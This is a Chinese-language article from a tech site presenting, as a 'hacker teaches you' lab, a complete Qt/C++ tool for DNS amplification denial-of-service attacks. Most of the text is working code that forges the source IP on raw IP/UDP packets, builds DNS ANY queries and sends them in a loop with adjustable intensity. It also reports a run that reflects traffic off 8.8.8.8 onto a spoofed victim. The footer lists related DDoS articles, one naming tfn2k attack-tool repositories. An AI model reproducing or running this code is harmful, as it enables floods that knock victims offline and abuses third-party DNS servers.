您当前的位置:首页 > 电脑百科 > 安全防护 > DDOS

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

时间:2021-04-15 10:44:12  来源:今日头条  作者:安界

摘要: 发送大量的数据包消耗目标主机资源,使其无法正常工作。

1.前言:

DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。

DNS放大攻击的原理:伪造DNS数据包,向DNS服务器发送域名查询报文了,而DNS服务器返回的应答报文则会发送给被攻击主机。放大体现在请求DNS回复的类型为ANY,攻击者向服务器请求的包长度为69个字节,而服务器向被攻击主机回复的ANY类型DNS包长度为535字节,大约放大了7倍。

本次实验实现的是DOS+DNS放大攻击,在传输层使用UDP协议,应用层使用DNS协议,程序有界面,接受用户输入,用户还能调节发包的速度改变攻击强度。

2.程序框图:

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

3.DOS+DNS简易界面的设计

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

添加5个文本框,用来接受用户输入的被攻击的ip,发送的端口,服务器ip,发送接口名称,查询的域名。

添加一个滑块用来控制攻击的强度。

添加两个按钮控制攻击的开始和停止。

核心代码是attack按钮槽函数的实现,接受输入,并调用攻击函数。

void Widget::on_attack_pushButton_clicked()

{

QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1();

QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();

QByteArray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->

value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);

dosattack->start();

}

4.构造发送DNS报文

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

因为我们要伪造源IP,发送DNS请求,所以我们的报文应该从IP头部开始构造,一直到UDP报文的数据部分。这里分为两个部分,IP头部和UDP头部作为一个部分,UDP的数据即DNS报文作为一个部分。

(1)IP伪首部+IP头部+UDP头部

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 


黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

UDP包在网络传输的时候要计算校验和,需要用到IP伪首部,IP伪首部在网络中不传输,只用作校验和的计算。我们构造两个数据结构,udpbuf填充UDP头部包括IP头部、udpfhrd填充IP伪首部。核心代码在sendudp函数里填充数据,以及检验和checksum函数的实现。

//IP头部+UDP头部

struct udpbuf

{

struct ip iph;

struct udphdr udp;

};

//IP伪首部

struct udpfhrd

{

struct in_addr ip_src;

struct in_addr ip_dst;

char zero;

char protocal;

short len;

};

//检验和函数

unsigned short checksum(unsigned short * buffer, int size)

{

unsigned long cksum = 0;

while(size>1)

{

cksum += *buffer++;

size -=sizeof(unsigned short);

}

if (size)

{

cksum += *(unsigned char*)buffer;

}

cksum = (cksum>>16)+ (cksum&0xffff);

cksum += (cksum>>16);

return (unsigned short)(~cksum);

}

//udp发送函数

void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,

char*data,int datalen)

{

int buflen = sizeof(udpbuf)+datalen;

char buf[buflen];

struct udpbuf *ubuf = (struct udpbuf *)buf;

struct sockaddr_ll toaddr;

struct in_addr targetIP,srcIP;

struct ifreq ifr;

int skfd;

if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

bzero(&toaddr, sizeof(toaddr));

bzero(&ifr, sizeof(ifr));

memcpy(ifr.ifr_name,ifname,strlen(ifname));

ioctl(skfd, SIOCGIFINDEX,&ifr);

toaddr.sll_ifindex = ifr.ifr_ifindex;

ubuf->iph.ip_v = IPVERSION;

ubuf->iph.ip_hl= sizeof(struct ip)>>2;

ubuf->iph.ip_tos = 0;

ubuf->iph.ip_len = htons(buflen);

ubuf->iph.ip_id = 0;

ubuf->iph.ip_off = 0;

ubuf->iph.ip_ttl = MAXTTL;

ubuf->iph.ip_p = IPPROTO_UDP;

ubuf->iph.ip_sum = 0;

inet_pton(AF_INET,dst_ip,&targetIP);

ubuf->iph.ip_dst = targetIP;

inet_pton(AF_INET,src_ip,&srcIP);

ubuf->iph.ip_src = srcIP;

ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));

ubuf->udp.source = htons(src_port);

ubuf->udp.dest = htons(dst_port);

ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);

ubuf->udp.check = 0;

memcpy(buf + sizeof(struct udpbuf),data,datalen);

int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);

char checksumbuf[csbuflen] ;

struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;

fhrd->ip_dst = ubuf->iph.ip_dst;

fhrd->ip_src = ubuf->iph.ip_src;

fhrd->zero = 0;

fhrd->protocal = ubuf->iph.ip

_p;

fhrd->len = ubuf->udp.len;

memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);

if(datalen % 2 != 0)

{ checksumbuf[csbuflen-1] = 0;}

ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);

toaddr.sll_family = AF_INET;

sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

close(skfd);

}

(2)DNS报文部分

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 


黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

同样构造一个数据结构 dnshdr来填充DNS报文,注意放大攻击的请求类型是ANY。

这一部分的核心是在DNS发送函数SendDns填充数据,以及查询名的转化,在DNS报文里查询名的存储格式是3www5baidu3com,用户提交的数据格式是www.baidu.com。

//DNS前12字节

struct dnshdr

{

unsigned short id;

unsigned short bz;

unsigned short wtcount;

unsigned short zyCount;

unsigned short sqCount;

unsigned short ewCount;

};

//DNS可变部分

struct questtype

{

unsigned short dnsType;

unsigned short dnsClass;

};

//sendDns函数,函数最后调用sendudp函数,将数据整合到sendudp函数中。

void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)

{

QList <QByteArray> domainlist= domain.split('.');

QByteArray domainName;

for (int i = 0; i<domainlist.length();i++)

{

domainName += domainlist.at(i).length();

domainName += domainlist.at(i);

}

domainName += '';

int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);

char buf[bufflen];

struct dnshdr * dnsh;

struct questtype * qtype;

dnsh = (struct dnshdr*)buf;

qtype= (struct questtype*)(buf +sizeof(struct dnshdr)+domainName.length());

dnsh->id = rand();

dnsh->bz = htons(0x0100);

dnsh->wtcount= htons(1);

dnsh->zyCount = htons(0);

dnsh->sqCount = htons(0);

dnsh->ewCount = htons(0);

memcpy(buf+sizeof(struct dnshdr),domainName.data(),domainName.length());

qtype->dnsType = htons(255);

qtype->dnsClass = htons(1);

sendudp(srcf_ip,dns,src_port, 53,ifname,buf,bufflen);

}

5.DNS放大攻击实现

这一部分创建一个DnsAttack类,实现DNS攻击,并通过usleep(Level)控制发包的速度,从而改变攻击的强度。

class DosAttack:public QThread

{

public:

DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain);

bool running = true;

protected:

void run();

private:

QByteArray dstipstr;

QByteArray ifnamestr;

QByteArray Dnsstr;

int Port;

int Level;

QByteArray Domainstr;

};

DosAttack::DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain)

{

dstipstr = dstip;

ifnamestr = ifname;

Port = port;

Dnsstr =dns;

Domainstr = domain;

Level =(10-level)*50;

}

void DosAttack::run()

{

char * dstip = dstipstr.data();

char * ifname = ifnamestr.data();

char * dns = Dnsstr.data();

while(running == true)

{

SendDns(ifname,dstip,Port,dns,Domainstr);

usleep(Level);

}

}

6.实验截图

运行的界面,伪造172.20.218.233发出DNS请求。

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

通过wireshark抓包工具看到我们的DNS请求包已经成功发出,包的长度为69个字节,请求类型为ANY。

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

在目标主机打开wireshark,接受到来自8.8.8.8发送来的应答包,可以看到包长度为535个字节,放大了7倍。

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

调节攻击的强度为5

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

wireshark分析速度,峰值约为1000

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

调节攻击的强度为10

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

wireshark分析速度,峰值约为3500

黑客教你如何用DNS放大DDoS分布拒绝服务攻击,很可怕!

 

那么我们的DOS攻击和DNS放大攻击两大功能就成功实现了。

7.实验总结

本次实验使用QT作为程序开发的框架,实现了DOS和DNS放大攻击程序的编写,对网络数据包,网络编程以及网络安全有了更加深刻的理解,网络简单易用的设计原理,使得攻击者可以轻易伪造数据。在重要数据传输的时候,要使用更加安全的协议如TCP,HTTPS等。

上述内容不知道大家学习到了吗?网络世界的安全漏洞每天都会出现,安全知识和安全意识每个公民都应该了解和学习,有想学习网络安全技能的小伙伴可以随时私信我哦!



Tags:DDoS   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言传统的 DDOS 防御通常使用“硬抗”的方式,导致开销很大,而且有时效果并不好。例如使用 DNS 切换故障 IP 的方案,由于域名会受到缓存等因素的影响通常有分钟级延时,前端难以...【详细内容】
2021-12-21  Tags: DDoS  点击:(19)  评论:(0)  加入收藏
DDOS简介DDOS又称为分布式拒绝服务,全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载,导致服务不可用,从而造成服务器拒绝正常流量服务。就如酒店里...【详细内容】
2021-08-20  Tags: DDoS  点击:(69)  评论:(0)  加入收藏
工具https://github.com/poornigga/tfn2k.githttps://github.com/cxueqin/falcon.git //tfn2k web版本https://github.com/GinjaChris/pentmenu.githttps://github.com/Of...【详细内容】
2021-08-04  Tags: DDoS  点击:(69)  评论:(0)  加入收藏
摘要: 发送大量的数据包消耗目标主机资源,使其无法正常工作。1.前言:DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。DNS放大攻击的原理:伪造DNS数据包,向DNS服...【详细内容】
2021-04-15  Tags: DDoS  点击:(219)  评论:(0)  加入收藏
随着如今DDoS攻击技术的不断成熟,关于防DDoS攻击的安全防护措施你知道多少?只有清楚的了解DDoS攻击的定义和原理和你有可能或者将会面临什么样的攻击,才更好的不断加强防护,才能...【详细内容】
2021-01-22  Tags: DDoS  点击:(201)  评论:(0)  加入收藏
上网的时候,我们总能或多或少地听到一些新闻,某某网站又遭遇DDoS攻击了,十几二十个小时,网站都没办法打开。似乎每一次DDoS的出现,都有大新闻。...【详细内容】
2021-01-19  Tags: DDoS  点击:(141)  评论:(0)  加入收藏
DDoS攻击的危害:DDoS的攻击方式有很多种,最基本的DDoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。单一的DDoS攻击一般是采用一对一方...【详细内容】
2020-09-23  Tags: DDoS  点击:(159)  评论:(0)  加入收藏
.DDos概念  分布式拒绝服务攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于...【详细内容】
2020-09-03  Tags: DDoS  点击:(131)  评论:(0)  加入收藏
如果您对DDoS攻击有所了解,您很可能已经注意到DDoS攻击会如何危害您的网站。DDoS攻击通过拖延业务和使网站脱机而对全球的企业和网站造成严重破坏。根据NSFOCUS发布的报告显...【详细内容】
2020-08-24  Tags: DDoS  点击:(120)  评论:(0)  加入收藏
DDOS是最常见的网络攻击方式,具有极强的破坏性和危害性,很多人对ddos攻击的感知主要来自于一些关于网络安全的新闻报道,下面是DDoS攻击的五个误区。知道DDOS的攻击,才能更好的防...【详细内容】
2020-08-24  Tags: DDoS  点击:(146)  评论:(0)  加入收藏
▌简易百科推荐
前言传统的 DDOS 防御通常使用“硬抗”的方式,导致开销很大,而且有时效果并不好。例如使用 DNS 切换故障 IP 的方案,由于域名会受到缓存等因素的影响通常有分钟级延时,前端难以...【详细内容】
2021-12-21  网盾科技    Tags:DDOS   点击:(19)  评论:(0)  加入收藏
DDOS简介DDOS又称为分布式拒绝服务,全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载,导致服务不可用,从而造成服务器拒绝正常流量服务。就如酒店里...【详细内容】
2021-08-20  KaliMa    Tags:DDOS攻击   点击:(69)  评论:(0)  加入收藏
工具https://github.com/poornigga/tfn2k.githttps://github.com/cxueqin/falcon.git //tfn2k web版本https://github.com/GinjaChris/pentmenu.githttps://github.com/Of...【详细内容】
2021-08-04  安全客小安    Tags:DDoS   点击:(69)  评论:(0)  加入收藏
死亡之 Ping 攻击是一种拒绝服务 (DoS) 攻击,攻击者旨在通过发送大于最大允许大小的数据包来破坏目标计算机,从而导致目标计算机冻结或崩溃。原始的死亡之 Ping 攻击如今并不...【详细内容】
2021-04-15  埃文  今日头条  Tags:Ping 攻击   点击:(183)  评论:(0)  加入收藏
摘要: 发送大量的数据包消耗目标主机资源,使其无法正常工作。1.前言:DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。DNS放大攻击的原理:伪造DNS数据包,向DNS服...【详细内容】
2021-04-15  安界  今日头条  Tags:DDoS   点击:(219)  评论:(0)  加入收藏
国内外有很多网站会遇到CC攻击这种说简单也简单说不简单也不简单的攻击类型,CC攻击很不利于一个网站服务器的运行,因此很多技术人员针对这种攻击手段来研发应对手段。不过,目前...【详细内容】
2021-03-19      Tags:CC攻击   点击:(157)  评论:(0)  加入收藏
根据Google最新公布的“Chrome中的HTTPS加密情况”统计数据表明,2015年至2020年通过HTTPS加载的业务占比逐步升高,截至2020年7月,在Chrome上加密的比例已达到96%,越来越多Web业...【详细内容】
2021-01-22      Tags:恶意流量   点击:(159)  评论:(0)  加入收藏
随着如今DDoS攻击技术的不断成熟,关于防DDoS攻击的安全防护措施你知道多少?只有清楚的了解DDoS攻击的定义和原理和你有可能或者将会面临什么样的攻击,才更好的不断加强防护,才能...【详细内容】
2021-01-22      Tags:DDoS攻击   点击:(201)  评论:(0)  加入收藏
上网的时候,我们总能或多或少地听到一些新闻,某某网站又遭遇DDoS攻击了,十几二十个小时,网站都没办法打开。似乎每一次DDoS的出现,都有大新闻。...【详细内容】
2021-01-19      Tags:DDoS攻击   点击:(141)  评论:(0)  加入收藏
当我在 Heroku 管理安全团队时,我经常做一个噩梦:我的 PagerDuty 警报响了,提醒我发生了安全事故。在梦中,我盯着手机并意识到“不,大事不好”&mdash;&mdash;接着,我就被惊醒了。...【详细内容】
2020-12-07      Tags:DoS攻击   点击:(143)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条